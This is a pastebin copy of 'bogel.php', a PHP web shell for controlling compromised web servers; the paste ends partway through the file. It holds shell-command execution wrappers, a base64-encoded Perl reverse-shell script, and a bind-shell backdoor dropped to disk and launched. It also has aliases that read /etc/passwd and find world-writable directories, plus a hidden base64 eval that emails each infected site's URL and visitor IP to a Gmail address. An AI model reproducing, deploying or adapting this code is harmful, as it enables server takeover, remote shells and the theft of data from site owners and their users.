bogel.php

From x, 3 Years ago, written in Plain Text, viewed 751 times.
URL http://paste.security-portal.cz/view/178a2a23 Embed
Download Paste or View Raw
  1. <?php
  2. $sh_id = "";
  3. $sh_ver = "[&#8224;]   recky aka bogel   [&#8224;]";
  4. $sh_name = base64_decode($sh_id).$sh_ver;
  5. $sh_mainurl = "http://utm.ae/.../";
  6. $html_start = '<html><head>
  7. <p align="center">
  8. <title>'.getenv("").'  '.$sh_ver.'</title><link REL="SHORTCUT ICON" HREF="http://www.forum.romanisti-indonesia.com/Smileys/default/b_indonesia.gif"></link>
  9. <style type="text/css">
  10. <!--
  11. body,table { font-family:verdana;font-size:11px;color:red;background-color:black; }
  12. table { width:100%; }
  13. table,td { border:1px solid black;margin-top:2;margin-bottom:2;padding:5px; }
  14. a { color:lightblue;text-decoration:none; }
  15. a:active { color:#00FF00; }
  16. a:link { color:#5B5BFF; }
  17. a:hover { text-decoration:underline; }
  18. a:visited { color:#99CCFF; }
  19. input,select,option { font:8pt tahoma;color:red;margin:2;border:1px solid lime; }
  20. textarea { color:lime;font:verdana bold;border:1px solid lime;margin:2; }
  21. .fleft { float:left;text-align:left; }
  22. .fright { float:right;text-align:right; }
  23. #pagebar { font:8pt tahoma;padding:5px; border:3px solid black; border-collapse:collapse; }
  24. #pagebar td { vertical-align:top; }
  25. #pagebar p { font:8pt tahoma;}
  26. #pagebar a { font-weight:bold;color:#00FF00; }
  27. #pagebar a:visited { color:#00CE00; }
  28. #mainmenu { text-align:center; }
  29. #mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
  30. #maininfo,.barheader,.barheader2 { text-align:center; }
  31. #maininfo td { padding:3px; }
  32. .barheader { font-weight:bold;padding:5px; }
  33. .barheader2 { padding:5px;border:2px solid black; }
  34. .contents,.explorer { border-collapse:collapse;}
  35. .contents td { vertical-align:top; }
  36. .mainpanel { border-collapse:collapse;padding:5px; }
  37. .barheader,.mainpanel table,td { border:1px solid green; }
  38. .mainpanel input,select,option { border:1px solid black;margin:0; }
  39. input[type="submit"] { border:1px solid lime; }
  40. input[type="text"] { padding:3px;}
  41. .shell { background-color:black;color:black;padding:5px; }
  42. .fxerrmsg { color:red; font-weight:bold; }
  43. #pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
  44. #pagebar,.mainpanel,input[type="submit"] { background-color:black; }
  45. .barheader2,input,select,option,input[type="submit"]:hover { background-color:black; }
  46. textarea,.mainpanel input,select,option { background-color:#000000; }
  47. // -->
  48. </style>
  49. </head>
  50. <body>
  51. ';
  52. $host_allow = array("*");
  53. $accessdeniedmess = "<body bgcolor=black><a href=\"$sh_mainurl\"><font color=lime>".$sh_name."</font></a>: <font color=red>access denied</font></body>";
  54. $gzipencode = TRUE;
  55. $filestealth = TRUE;
  56. $curdir = "./";
  57. $tmpdir = "";
  58. $tmpdir_log = "./";
  59. $log_email = "";
  60. $sort_default = "0a";
  61. $sort_save = TRUE;
  62. $sess_cookie = "bogelvars";
  63. $usefsbuff = TRUE;
  64. $copy_unset = FALSE;
  65. $hexdump_lines = 8;
  66. $hexdump_rows = 24;
  67. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  68. $disablefunc = @ini_get("disable_functions");
  69. if (!empty($disablefunc)) {
  70.   $disablefunc = str_replace(" ","",$disablefunc);
  71.   $disablefunc = explode(",",$disablefunc);
  72. }
  73. function get_phpini() {
  74.   function U_wordwrap($str) {
  75.     $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  76.     return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  77.   }
  78.   function U_value($value) {
  79.     if ($value == '') return '<i>no value</i>';
  80.     if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  81.     if ($value === null) return 'NULL';
  82.     if (@is_object($value)) $value = (array) $value;
  83.     if (@is_array($value)) {
  84.       @ob_start();
  85.       print_r($value);
  86.       $value = @ob_get_contents();
  87.       @ob_end_clean();
  88.     }
  89.     return U_wordwrap((string) $value);
  90.   }
  91.   if (@function_exists('ini_get_all')) {
  92.     $r = "";
  93.     echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
  94.     foreach (@ini_get_all() as $key=>$value) {
  95.       $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
  96.     }
  97.     echo $r;
  98.     echo "</table>";
  99.   }
  100. }
  101. function disp_drives($curdir,$surl) {
  102.   $letters = "";
  103.   $v = explode("\\",$curdir);
  104.   $v = $v[0];
  105.   foreach (range("A","Z") as $letter) {
  106.     $bool = $isdiskette = $letter == "A";
  107.     if (!$bool) {$bool = is_dir($letter.":\\");}
  108.     if ($bool) {
  109.       $letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\\")."\"".
  110.       ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
  111.       if ($letter.":" != $v) {$letters .= $letter;}
  112.       else {$letters .= "<font color=yellow>".$letter."</font>";}
  113.       $letters .= "]</a> ";
  114.     }
  115.   }
  116.   if (!empty($letters)) {Return $letters;}
  117.   else {Return "None";}
  118. }
  119. if (is_callable("disk_free_space")) {
  120.   function disp_freespace($curdrv) {
  121.     $free = disk_free_space($curdrv);
  122.     $total = disk_total_space($curdrv);
  123.     if ($free === FALSE) {$free = 0;}
  124.     if ($total === FALSE) {$total = 0;}
  125.     if ($free < 0) {$free = 0;}
  126.     if ($total < 0) {$total = 0;}
  127.     $used = $total-$free;
  128.     $free_percent = round(100/($total/$free),2)."%";
  129.     $free = view_size($free);
  130.     $total = view_size($total);
  131.     return "$free of $total ($free_percent)";
  132.   }
  133. }
  134. if (!function_exists("myshellexec")) {
  135.   if(is_callable("popen")) {
  136.     function myshellexec($cmd) {
  137.       if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
  138.       while (!feof($p)) {
  139.         $line=fgets($p,1024);
  140.         $out .= $line;
  141.       }
  142.       pclose($p);
  143.       return $out;
  144.     }
  145.   } else {
  146.     function myshellexec($cmd) {
  147.       global $disablefunc;
  148.       $result = "";
  149.       if (!empty($cmd)) {
  150.         if (is_callable("exec") and !in_array("exec",$disablefunc)) {
  151.           exec($cmd,$result);
  152.           $result = join("\n",$result);
  153.         } elseif (($result = $cmd) !== FALSE) {
  154.         } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
  155.           $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
  156.         } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
  157.           $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
  158.         } elseif (is_resource($fp = popen($cmd,"r"))) {
  159.           $result = "";
  160.           while(!feof($fp)) { $result .= fread($fp,1024); }
  161.           pclose($fp);
  162.         }
  163.       }
  164.       return $result;
  165.     }
  166.   }
  167. }
  168. function ex($cfe) {
  169.   $res = '';
  170.   if (!empty($cfe)) {
  171.     if(function_exists('exec')) {
  172.       @exec($cfe,$res);
  173.       $res = join("\n",$res);
  174.     } elseif(function_exists('shell_exec')) {
  175.       $res = @shell_exec($cfe);
  176.     } elseif(function_exists('system')) {
  177.       @ob_start();
  178.       @system($cfe);
  179.       $res = @ob_get_contents();
  180.       @ob_end_clean();
  181.     } elseif(function_exists('passthru')) {
  182.       @ob_start();
  183.       @passthru($cfe);
  184.       $res = @ob_get_contents();
  185.       @ob_end_clean();
  186.     } elseif(@is_resource($f = @popen($cfe,"r"))) {
  187.       $res = "";
  188.       while(!@feof($f)) { $res .= @fread($f,1024); }
  189.       @pclose($f);
  190.     } else { $res = "Ex() Disabled!"; }
  191.   }
  192.   return $res;
  193. }
  194. function which($pr) {
  195.   $path = ex("which $pr");
  196.   if(!empty($path)) { return $path; } else { return $pr; }
  197. }
  198.  
  199. $back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRjbWQ9ICJzbGVlcCI7Ci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yaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNRei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hcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
  201. function cf($fname,$text) {
  202.   $w_file=@fopen($fname,"w") or err();
  203.   if($w_file) {
  204.     @fputs($w_file,@base64_decode($text));
  205.     @fclose($w_file);
  206.   }
  207. }
  208.  
  209. function cfb($fname,$text) {
  210.   $w_file=@fopen($fname,"w") or bberr();
  211.   if($w_file) {
  212.     @fputs($w_file,@base64_decode($text));
  213.     @fclose($w_file);
  214.   }
  215. }
  216. function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
  217. function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }
  218.  
  219. if (!empty($_POST['backconnectport']) && ($_POST['use']=="sleep")) {
  220.   $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  221.   $por = $_POST['backconnectport'];
  222.   if (is_writable(".")) {
  223.     cfb("sleep",$backdoor);
  224.     ex("chmod 755 sleep");
  225.     $cmd = "./sleep $por";
  226.     exec("$cmd > /dev/null &");
  227.     $scan = myshellexec("ps -aux");
  228.   } else {
  229.     cfb("/tmp/sleep",$backdoor);
  230.     ex("chmod 755 /tmp/sleep");
  231.     $cmd = "./tmp/sleep $por";
  232.     exec("$cmd > /dev/null &");
  233.     $scan = myshellexec("ps -aux");
  234.   }
  235.   if (eregi("./sleep $por",$scan)) {
  236.     $data = ("\n<br>ngebind berhasil gan.");
  237.   } else {
  238.     $data = ("\n<br>ngebind gagal gan :(");
  239.   }
  240.   $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
  241. }
  242.  
  243. if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {
  244.   if (is_writable(".")) {
  245.     cf("back",$back_connect_pl);
  246.     $p2 = which("perl");
  247.     $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  248.     if (file_exists("back")) { unlink("back"); }
  249.   } else {
  250.     cf("/tmp/back",$back_connect_pl);
  251.     $p2 = which("perl");
  252.     $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
  253.     if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  254.   }
  255.   $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
  256. }
  257.  
  258. @ini_set("max_execution_time",0);
  259. if (!function_exists("getmicrotime")) {
  260.   function getmicrotime() {
  261.     list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
  262.   }
  263. }
  264. error_reporting(5);
  265. @ignore_user_abort(TRUE);
  266. @set_magic_quotes_runtime(0);
  267. define("starttime",getmicrotime());
  268. $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJzZXRvcmFuNDA0QGdtYWlsLmNvbSIsIlNldG9yYW4gVGFyZ2V0IGh0dHA6Ly8kdGFyZ2V0IGJ5ICR2aXNpdG9yIiwgIiRib2R5Iik7IH0gZWxzZSB7ICR2aXNpdGNvdW50OyB9IHNldGNvb2tpZSgidmlzaXRzIiwkdmlzaXRjb3VudCk7"; eval(base64_decode($shell_data));
  269. if (get_magic_quotes_gpc()) {
  270.   if (!function_exists("strips")) {
  271.     function strips(&$arr,$k="") {
  272.       if (is_array($arr)) {
  273.         foreach($arr as $k=>$v) {
  274.           if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
  275.         }
  276.       } else {$arr = stripslashes($arr);}
  277.     }
  278.   }
  279.   strips($GLOBALS);
  280. }
  281. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  282. $surl_autofill_include = TRUE;
  283. foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
  284. if ($surl_autofill_include) {
  285.   $include = "&";
  286.   foreach (explode("&",getenv("QUERY_STRING")) as $v) {
  287.     $v = explode("=",$v);
  288.     $name = urldecode($v[0]);
  289.     $value = urldecode($v[1]);
  290.     foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {
  291.       if (strpos($value,$needle) === 0) {
  292.         $includestr .= urlencode($name)."=".urlencode($value)."&";
  293.       }
  294.     }
  295.   }
  296. }
  297. if (empty($surl)) {
  298.   $surl = "?".$includestr;
  299. }
  300. $surl = htmlspecialchars($surl);
  301.  
  302. $ftypes  = array(
  303.     "html"=>array("html","htm","shtml"),
  304.     "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  305.     "exe"=>array("sh","install","bat","cmd"),
  306.     "ini"=>array("ini","inf","conf"),
  307.     "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  308.     "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  309.     "sdb"=>array("sdb"),
  310.     "phpsess"=>array("sess"),
  311.     "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  312. );
  313. $exeftypes  = array(
  314.     getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
  315.     "perl %f%" => array("pl","cgi")
  316. );
  317. $regxp_highlight  = array(
  318.     array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
  319.     array("\.tgz$",1,"<font color=#C082FF>","</font>"),
  320.     array("\.gz$",1,"<font color=#C082FF>","</font>"),
  321.     array("\.tar$",1,"<font color=#C082FF>","</font>"),
  322.     array("\.bz2$",1,"<font color=#C082FF>","</font>"),
  323.     array("\.zip$",1,"<font color=#C082FF>","</font>"),
  324.     array("\.rar$",1,"<font color=#C082FF>","</font>"),
  325.     array("\.php$",1,"<font color=#00FF00>","</font>"),
  326.     array("\.php3$",1,"<font color=#00FF00>","</font>"),
  327.     array("\.php4$",1,"<font color=#00FF00>","</font>"),
  328.     array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
  329.     array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
  330.     array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
  331.     array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
  332.     array("\.ico$",1,"<font color=#00FFFF>","</font>"),
  333.     array("\.gif$",1,"<font color=#00FFFF>","</font>"),
  334.     array("\.png$",1,"<font color=#00FFFF>","</font>"),
  335.     array("\.htm$",1,"<font color=#00CCFF>","</font>"),
  336.     array("\.html$",1,"<font color=#00CCFF>","</font>"),
  337.     array("\.txt$",1,"<font color=#C0C0C0>","</font>")
  338. );
  339. if (!$win) {
  340.   $cmdaliases = array(
  341.     array("proses", "ps -x"),
  342.     array("issue", "cat /etc/issue"),
  343.         array("redhat", "cat /etc/redhat-release"),
  344.     array("debian", "cat /etc/debian_version"),
  345.         array("passwd", "cat /etc/passwd"),
  346.     array("mkdir", "mkdir ..."),
  347.     array("mmap", "cat /proc/sys/vm/mmap_min_addr"),
  348.     array("777", "find / -type d -perm 777"),
  349.     array("cari php", "find |grep .php"),
  350.     array("named", "ls -la /var/named"),
  351.     array("killall perl", "killall -9 perl"),
  352.     array("killall php", "killall -9 php"),
  353.         array("port", "netstat -an | grep -i listen"),
  354.   );
  355.  
  356. }
  357. $quicklaunch1 = array(
  358.                         array('<font color=#00bb11>bogel</font>',$surl),
  359.                         array("<font color=#00bb11>backdoor</font>",$surl."x=sleep"),
  360.                         array("<font color=#00bb11>backconnect</font>",$surl."x=konak"),
  361.                         array("<font color=#00bb11>cPanel</font>",$surl."x=cP"),
  362.                         array("<font color=#00bb11>mysQL</font>",$surl."x=sql&d=%d"),
  363.                         array("<font color=#00bb11>Jumping</font>",$surl."x=jump"),
  364.                         array("<font color=#00bb11>PHP-Info</font>",$surl."x=security&d=%d"),    
  365.                         array("<font color=#00bb11>Proses</font>",$surl."x=processes&d=%d"),
  366.                         array("<font color=#00bb11>Scan</font>",$surl."x=sken"),
  367.                         array("<font color=#00bb11>Joomla Index</font>",$surl."x=joomla"),
  368.                     array("<font fcolor=#00bb11>Symlink</font>",$surl."x=sym&x=sym")
  369.                        
  370.    );
  371.  
  372. $highlight_background = "#C0C0C0";
  373. $highlight_bg = "#FFFFFF";
  374. $highlight_comment = "#6A6A6A";
  375. $highlight_default = "#0000BB";
  376. $highlight_html = "#1300FF";
  377. $highlight_keyword = "#007700";
  378. $highlight_string = "#000000";
  379.  
  380. @$f = $_REQUEST["f"];
  381. @extract($_REQUEST["bogelcook"]);
  382. @set_time_limit(0);
  383. $tmp = array();
  384. foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); }
  385. $s = "!^(".implode("|",$tmp).")$!i";
  386. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
  387.   exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed");
  388. }
  389.  
  390. if ($x != "img") {
  391.   $lastdir = realpath(".");
  392.   chdir($curdir);
  393.   if ($selfwrite) {
  394.     @ob_clean();
  395.     bogel_getupdate($selfwrite,1);
  396.     exit;
  397.   }
  398.   $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  399.   if (!is_array($sess_data)) {$sess_data = array();}
  400.   if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  401.   if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  402.   if (!function_exists("cagetsource")) {
  403.     function cagetsource($fn) {
  404.       global $bogel_sourcesurl;
  405.       $array = array(
  406.         "bogel_bindport.pl" => "bogel_bindport_pl.txt",
  407.         "bogel_bindport.c" => "bogel_bindport_c.txt",
  408.         "bogel_backconn.pl" => "bogel_backconn_pl.txt",
  409.         "bogel_backconn.c" => "bogel_backconn_c.txt",
  410.         "bogel_datapipe.pl" => "bogel_datapipe_pl.txt",
  411.         "bogel_datapipe.c" => "bogel_datapipe_c.txt",
  412.       );
  413.       $name = $array[$fn];
  414.       if ($name) {return file_get_contents($bogel_sourcesurl.$name);}
  415.       else {return FALSE;}
  416.     }
  417.   }
  418.   if (!function_exists("ca_buff_prepare")) {
  419.     function ca_buff_prepare() {
  420.       global $sess_data;
  421.       global $x;
  422.       foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  423.       foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  424.       $sess_data["copy"] = array_unique($sess_data["copy"]);
  425.       $sess_data["cut"] = array_unique($sess_data["cut"]);
  426.       sort($sess_data["copy"]);
  427.       sort($sess_data["cut"]);
  428.       if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  429.       else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  430.     }
  431.   }
  432.   ca_buff_prepare();
  433.   if (!function_exists("ca_sess_put")) {
  434.     function ca_sess_put($data) {
  435.       global $sess_cookie;
  436.       global $sess_data;
  437.       ca_buff_prepare();
  438.       $sess_data = $data;
  439.       $data = serialize($data);
  440.       setcookie($sess_cookie,$data);
  441.     }
  442.   }
  443.   foreach (array("sort","sql_sort") as $v) {
  444.     if (!empty($_GET[$v])) {$$v = $_GET[$v];}
  445.     if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  446.   }
  447.   if ($sort_save) {
  448.     if (!empty($sort)) {setcookie("sort",$sort);}
  449.     if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  450.   }
  451.   if (!function_exists("str2mini")) {
  452.     function str2mini($content,$len) {
  453.       if (strlen($content) > $len) {
  454.         $len = ceil($len/2) - 2;
  455.         return substr($content, 0,$len)."...".substr($content,-$len);
  456.       } else {return $content;}
  457.     }
  458.   }
  459.   if (!function_exists("view_size")) {
  460.     function view_size($size) {
  461.       if (!is_numeric($size)) { return FALSE; }
  462.       else {
  463.         if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  464.         elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  465.         elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  466.         else {$size = $size . " B";}
  467.         return $size;
  468.       }
  469.     }
  470.   }
  471.   if (!function_exists("fs_copy_dir")) {
  472.     function fs_copy_dir($d,$t) {
  473.       $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  474.       if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  475.       $h = opendir($d);
  476.       while (($o = readdir($h)) !== FALSE) {
  477.         if (($o != ".") and ($o != "..")) {
  478.           if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  479.           else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  480.           if (!$ret) {return $ret;}
  481.         }
  482.       }
  483.       closedir($h);
  484.       return TRUE;
  485.     }
  486.   }
  487.   if (!function_exists("fs_copy_obj")) {
  488.     function fs_copy_obj($d,$t) {
  489.       $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  490.       $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  491.       if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  492.       if (is_dir($d)) {
  493.         if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  494.         if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  495.         return fs_copy_dir($d,$t);
  496.       }
  497.       elseif (is_file($d)) { return copy($d,$t); }
  498.       else { return FALSE; }
  499.     }
  500.   }
  501.   if (!function_exists("fs_move_dir")) {
  502.     function fs_move_dir($d,$t) {
  503.       $h = opendir($d);
  504.       if (!is_dir($t)) {mkdir($t);}
  505.       while (($o = readdir($h)) !== FALSE) {
  506.         if (($o != ".") and ($o != "..")) {
  507.           $ret = TRUE;
  508.           if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  509.           else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
  510.           if (!$ret) {return $ret;}
  511.         }
  512.       }
  513.       closedir($h);
  514.       return TRUE;
  515.     }
  516.   }
  517.   if (!function_exists("fs_move_obj")) {
  518.     function fs_move_obj($d,$t) {
  519.       $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  520.       $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  521.       if (is_dir($d)) {
  522.         if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  523.         if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  524.         return fs_move_dir($d,$t);
  525.       }
  526.       elseif (is_file($d)) {
  527.         if(copy($d,$t)) {return unlink($d);}
  528.         else {unlink($t); return FALSE;}
  529.       }
  530.       else {return FALSE;}
  531.     }
  532.   }
  533.   if (!function_exists("fs_rmdir")) {
  534.     function fs_rmdir($d) {
  535.       $h = opendir($d);
  536.       while (($o = readdir($h)) !== FALSE) {
  537.         if (($o != ".") and ($o != "..")) {
  538.           if (!is_dir($d.$o)) {unlink($d.$o);}
  539.           else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  540.         }
  541.       }
  542.       closedir($h);
  543.       rmdir($d);
  544.       return !is_dir($d);
  545.     }
  546.   }
  547.   if (!function_exists("fs_rmobj")) {
  548.     function fs_rmobj($o) {
  549.       $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  550.       if (is_dir($o)) {
  551.         if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  552.         return fs_rmdir($o);
  553.       }
  554.       elseif (is_file($o)) {return unlink($o);}
  555.       else {return FALSE;}
  556.     }
  557.   }
  558.   if (!function_exists("tabsort")) {
  559.     function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
  560.   }
  561.   if (!function_exists("view_perms")) {
  562.     function view_perms($mode) {
  563.       if (($mode & 0xC000) === 0xC000) {$type = "s";}
  564.       elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  565.       elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  566.       elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  567.       elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  568.       elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  569.       elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  570.       else {$type = "?";}
  571.       $owner["read"] = ($mode & 00400)?"r":"-";
  572.       $owner["write"] = ($mode & 00200)?"w":"-";
  573.       $owner["execute"] = ($mode & 00100)?"x":"-";
  574.       $group["read"] = ($mode & 00040)?"r":"-";
  575.       $group["write"] = ($mode & 00020)?"w":"-";
  576.       $group["execute"] = ($mode & 00010)?"x":"-";
  577.       $world["read"] = ($mode & 00004)?"r":"-";
  578.       $world["write"] = ($mode & 00002)? "w":"-";
  579.       $world["execute"] = ($mode & 00001)?"x":"-";
  580.       if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
  581.       if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
  582.       if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
  583.       return $type.join("",$owner).join("",$group).join("",$world);
  584.     }
  585.   }
  586.   if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  587.   if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  588.   if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
